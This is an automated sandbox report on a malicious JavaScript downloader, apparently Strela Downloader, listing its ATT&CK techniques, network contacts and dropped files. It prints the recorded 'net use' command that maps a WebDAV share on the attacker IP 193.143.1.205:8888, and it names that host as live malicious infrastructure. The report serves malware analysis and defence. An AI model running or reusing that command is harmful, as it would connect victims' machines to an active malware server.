Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
225803042163626345.js	7%	Virustotal		Browse
225803042163626345.js	0%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2176629819.000001FFE1130000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.3399644430.000001FFE1200000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2175157065.00000169DA2BA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2179023896.00000169DA29B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2178758543.00000169DA268000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2179153486.00000169DA2BC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2176118777.00000169DA29B000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/Num	net.exe, 00000007.00000002.2178758543.00000169DA268000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588852
Start date and time:	2025-01-11 06:17:58 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	225803042163626345.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 52.6.155.20, 3.233.129.217, 52.22.41.97, 3.219.243.226, 2.23.242.162, 23.209.209.135, 2.22.50.131, 2.22.50.144, 2.16.168.105, 2.16.168.107, 23.200.0.21, 23.200.0.33, 13.107.246.45, 34.237.241.83, 172.202.163.200, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:18:49	API Interceptor	24x Sleep call for process: powershell.exe modified
00:18:54	API Interceptor	1x Sleep call for process: net.exe modified
00:18:54	API Interceptor	2x Sleep call for process: svchost.exe modified
00:19:01	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	522327491130758262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1574285771252416900.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	201672639780846903.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	522327491130758262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1574285771252416900.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	201672639780846903.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2435213596266856603.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22742867259569153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263098806363154
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0o:9JZj5MiKNnNhoxuF
MD5:	14B11F8C0B178F8DF3F97DF70D8CA09E
SHA1:	8814815FAE7C12141C9EC97F94C56FA34D0DD6EB
SHA-256:	C2EA45631F865175C9651958F2B9065DEE2DC8B1EA75CA145C22F7749949EC96
SHA-512:	9998D21520CF4741D4F2C8D3774482F11E7609BEDCB6AA59847F29E2E12E09272AE5AD154F8E7A0C7DB34FF1FB182CE845A489D25D12FA14B61F2DCA3B4F3A8C
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x1885b031, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555474457375764
Encrypted:	false
SSDEEP:	1536:1SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:1azaSvGJzYj2UlmOlOL
MD5:	305E07796CF159997D5126168A551816
SHA1:	9E4FD75BCDD0FAAE5E76E6D71B5AA9420BAD17A6
SHA-256:	1CC542D538BCC54F3A559887D4A54CD05DCCDCD39F15357DA40ADF4162CBB8EB
SHA-512:	D409E4972EE4299731A3CAE219FFAE61C52193860CAA1968F7B048130FC9CEE82058C0BD8AA145EBE0657DB6A71DC4D5E6D4EA7FA6E732C6E1604859DCA1A519
Malicious:	false
Preview:	...1... .......7.......X\...;...{......................0.e......!...{?.6....}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...................................^cf6....}......................6....}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07962683038784857
Encrypted:	false
SSDEEP:	3:U0mltEYekQuREn3TNaAPaU1lYpnlqlluxmO+l/SNxOf:U0dzGREnDNDPaUGnQgmOH
MD5:	F2EAB86163FA5310B59D829BD898AB39
SHA1:	2285225301144CF25A371370DB084A0A136D556E
SHA-256:	D001274065C6D56F21D1CA34C6E160F110310EA4DD654F2EA4BB96CD917A866B
SHA-512:	600D97678908E44AA6CA90036A211EF5390CF0FB4F8F32D8142CDEC450ECF72EF900C6604C8E97E9E9AF95E70C19C7218F5AD6E7960B26C14A22116FCE1E1ACB
Malicious:	false
Preview:	.........................................;...{..6....}...!...{?..........!...{?..!...{?..g...!...{?.....................6....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.209453706314401
Encrypted:	false
SSDEEP:	6:iO2Iq2PN72nKuAl9OmbnIFUt6XZmwyjzkwON72nKuAl9OmbjLJ:7fvVaHAahFUt6X/Gz5OaHAaSJ
MD5:	C787260AE4BCCEBF54242539DE583BB5
SHA1:	CB7D4301EC8A44CC1836287E6CC28CB9CBBE94DF
SHA-256:	29ED91CE8D049CB2FDDAE05D4E88D5C1440427CFAC1C5C0E739BA57C50243115
SHA-512:	25653DDE497F59412A3A1FD5FC80E563268627CFCE931C6688BED86B48811B311D6CDC80B89FB18C5474C162DAD6415C8EA1DACB1C7067FBB40CF5B6A69AEE15
Malicious:	false
Preview:	2025/01/11-00:18:53.947 1974 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:18:53.949 1974 Recovering log #3.2025/01/11-00:18:53.950 1974 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.209453706314401
Encrypted:	false
SSDEEP:	6:iO2Iq2PN72nKuAl9OmbnIFUt6XZmwyjzkwON72nKuAl9OmbjLJ:7fvVaHAahFUt6X/Gz5OaHAaSJ
MD5:	C787260AE4BCCEBF54242539DE583BB5
SHA1:	CB7D4301EC8A44CC1836287E6CC28CB9CBBE94DF
SHA-256:	29ED91CE8D049CB2FDDAE05D4E88D5C1440427CFAC1C5C0E739BA57C50243115
SHA-512:	25653DDE497F59412A3A1FD5FC80E563268627CFCE931C6688BED86B48811B311D6CDC80B89FB18C5474C162DAD6415C8EA1DACB1C7067FBB40CF5B6A69AEE15
Malicious:	false
Preview:	2025/01/11-00:18:53.947 1974 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:18:53.949 1974 Recovering log #3.2025/01/11-00:18:53.950 1974 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.132588428012986
Encrypted:	false
SSDEEP:	6:iOUOq2PN72nKuAl9Ombzo2jMGIFUtW2ZZmwNFkwON72nKuAl9Ombzo2jMmLJ:7UOvVaHAa8uFUtWS/D5OaHAa8RJ
MD5:	E1E0313D6B85BB77D88A761F8FD98CA9
SHA1:	2506704BA0A85FC5336AF11D1D5343A10941500E
SHA-256:	2CE7D4C14FD64C3D7B4E6BD45F0BD3E877E136EEBC7519945A8143137C9E8D29
SHA-512:	4895CB55F0C48E3AC36A380060F88967EA298B46C6254F99CEC67E6F1016F049D705D34BA7F822EF84839BBC973E4ADCFD600089BDA1AA8BFCAE905381A9D66C
Malicious:	false
Preview:	2025/01/11-00:18:54.068 1c04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:18:54.069 1c04 Recovering log #3.2025/01/11-00:18:54.070 1c04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.132588428012986
Encrypted:	false
SSDEEP:	6:iOUOq2PN72nKuAl9Ombzo2jMGIFUtW2ZZmwNFkwON72nKuAl9Ombzo2jMmLJ:7UOvVaHAa8uFUtWS/D5OaHAa8RJ
MD5:	E1E0313D6B85BB77D88A761F8FD98CA9
SHA1:	2506704BA0A85FC5336AF11D1D5343A10941500E
SHA-256:	2CE7D4C14FD64C3D7B4E6BD45F0BD3E877E136EEBC7519945A8143137C9E8D29
SHA-512:	4895CB55F0C48E3AC36A380060F88967EA298B46C6254F99CEC67E6F1016F049D705D34BA7F822EF84839BBC973E4ADCFD600089BDA1AA8BFCAE905381A9D66C
Malicious:	false
Preview:	2025/01/11-00:18:54.068 1c04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:18:54.069 1c04 Recovering log #3.2025/01/11-00:18:54.070 1c04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963716805413449
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq4fsBdOg2HEcaq3QYiubcP7E4T3y:Y2sRdspgdMHX3QYhbA7nby
MD5:	8EF023B3F59AF24B31F3D82145C1599C
SHA1:	A09C570069C70BCF77A22FC6CACCFD59DC3FA581
SHA-256:	BA075D74E85EF72AE8CE4624DEA56195C0B6257FD14E4A13BBDF7A5FB5DEF9B5
SHA-512:	3CEBADB6F728FF5239228C9210AD569388AE8602057AE7345F5326B3D95EDADD172511E910163D4F1608933B4E85C90BBF04259B92FED11FA4C23EEB66D5B9B2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381132745973982","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":132587},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c73b2402-b364-4f31-8116-21b83873f98c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.963716805413449
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq4fsBdOg2HEcaq3QYiubcP7E4T3y:Y2sRdspgdMHX3QYhbA7nby
MD5:	8EF023B3F59AF24B31F3D82145C1599C
SHA1:	A09C570069C70BCF77A22FC6CACCFD59DC3FA581
SHA-256:	BA075D74E85EF72AE8CE4624DEA56195C0B6257FD14E4A13BBDF7A5FB5DEF9B5
SHA-512:	3CEBADB6F728FF5239228C9210AD569388AE8602057AE7345F5326B3D95EDADD172511E910163D4F1608933B4E85C90BBF04259B92FED11FA4C23EEB66D5B9B2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381132745973982","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":132587},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.2476093629994764
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7N5b+:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzha
MD5:	5A52A36DED77CCF066654F864EAC8B8B
SHA1:	066F9B0912BC983F97C308ABDFD7BCFC58FA1C19
SHA-256:	636E2D1F6C134E5C617BA7D4FF0347143595793F0AEF333DC51FDA5FB6F06A9F
SHA-512:	89750BEBED7B616031758A706D777723C4C7BE6F9362366F40855FB3D2EA73567D68D2726521D7820903C2EF730997EADD73858A2DCDEF13C0E6D9C747697719
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.133206575136107
Encrypted:	false
SSDEEP:	6:iOhgq2PN72nKuAl9OmbzNMxIFUt8zZmwbPzkwON72nKuAl9OmbzNMFLJ:7hgvVaHAa8jFUt0/X5OaHAa84J
MD5:	5DB7894706551183388822A5884FA0F6
SHA1:	903650948EEB88AD98724ADF86D0EFBDCC2285DF
SHA-256:	31D35EA48C256DA2C54D7C6A0AF227C2FABDECC71302106F0D1C7E5AB9855AF6
SHA-512:	24A31C20FF3879A299A581D4A6887B299D577213947CA6926C3E58B58CE886BBE65E5041ED3BCF59E1FC0F76C97B314C1FD3BF0CED514661D7C57AB1A6EF110F
Malicious:	false
Preview:	2025/01/11-00:18:54.137 1c04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:18:54.138 1c04 Recovering log #3.2025/01/11-00:18:54.139 1c04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.133206575136107
Encrypted:	false
SSDEEP:	6:iOhgq2PN72nKuAl9OmbzNMxIFUt8zZmwbPzkwON72nKuAl9OmbzNMFLJ:7hgvVaHAa8jFUt0/X5OaHAa84J
MD5:	5DB7894706551183388822A5884FA0F6
SHA1:	903650948EEB88AD98724ADF86D0EFBDCC2285DF
SHA-256:	31D35EA48C256DA2C54D7C6A0AF227C2FABDECC71302106F0D1C7E5AB9855AF6
SHA-512:	24A31C20FF3879A299A581D4A6887B299D577213947CA6926C3E58B58CE886BBE65E5041ED3BCF59E1FC0F76C97B314C1FD3BF0CED514661D7C57AB1A6EF110F
Malicious:	false
Preview:	2025/01/11-00:18:54.137 1c04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:18:54.138 1c04 Recovering log #3.2025/01/11-00:18:54.139 1c04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444402768823048
Encrypted:	false
SSDEEP:	384:ye6ci5tNiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mms3OazzU89UTTgUL
MD5:	EAED0D24EB5A9D70AC117F302B007CDE
SHA1:	3EE46FE1AF816BC617BB0DA115EF4D53C4F78E8C
SHA-256:	1E3C61FDB260C212D796F9207F4879D146E6E54688B2B82739C5CEB947C8AB67
SHA-512:	EE8EE5016F4A252429ADC259D9C2671BAA66BA7324583201AE2F7859233AF2A86E01C93BA8965A7E839681D44E83AFEF6A6713EA3B06850685BB8BA0EEF4E9F3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.766429901504737
Encrypted:	false
SSDEEP:	48:7MpJioyVjioy7oy1C7oy16oy1xKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1O/:7uJujxAXjBiKb9IVXEBodRBkL
MD5:	3829E558B812133A147254BE941D48BC
SHA1:	8CA734A8E5E69DE2F7D8F15327B03921EAA1B4D1
SHA-256:	3E334CE24C008C22DCCA5DDB2A80A53B62C208B5A9459DCE7EEA9B2882E3FFF4
SHA-512:	8E7652F0F447E70C64E861A0437E798BAA26D44D492B7FD23C835C17B1C5C7609CAE891B0FC29000A1F28445E09F7C704871A1C4F9B867DC4C62C1E6377A0786
Malicious:	false
Preview:	.... .c........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

